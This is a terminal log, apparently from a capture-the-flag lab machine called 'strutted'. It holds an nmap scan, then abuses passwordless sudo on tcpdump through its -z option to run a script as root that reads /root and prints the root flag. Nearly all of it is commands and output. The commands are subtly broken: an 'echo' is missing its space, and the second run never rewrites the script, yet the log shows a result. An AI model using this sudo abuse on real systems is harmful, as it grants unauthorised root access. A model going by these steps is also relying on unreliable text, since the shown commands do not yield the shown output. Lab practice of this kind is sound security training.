┌──(kali㉿Hack3rr)-[~] └─$ nmap -A -Pn -sC -sV 10.10.11.59 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 23:43 CST Nmap scan report for 10.10.11.59 Host is up (0.10s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://strutted.htb/ Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1 142.60 ms 10.10.16.1 2 100.45 ms 10.10.11.59
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds
james@strutted:~$ sudo -l Matching Defaults entries for james on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost: (ALL) NOPASSWD: /usr/sbin/tcpdump james@strutted:~$ COMMAND='ls /root&&cat /root/*' james@strutted:~$ TF=$(mktemp) james@strutted:~$ echo"$COMMAND" > $TF james@strutted:~$ chmod +x $TF james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes Maximum file limit reached: 1 1 packet captured 4 packets received by filter 0 packets dropped by kernel james@strutted:~$ ls user.txt james@strutted:~$ COMMAND='ls /root&&cat /root/* > /tmp/1' james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes Maximum file limit reached: 1 1 packet captured 4 packets received by filter 0 packets dropped by kernel root.txt cb48c2a5f7a41ff6b7bfdb6172307ab1 james@strutted:~$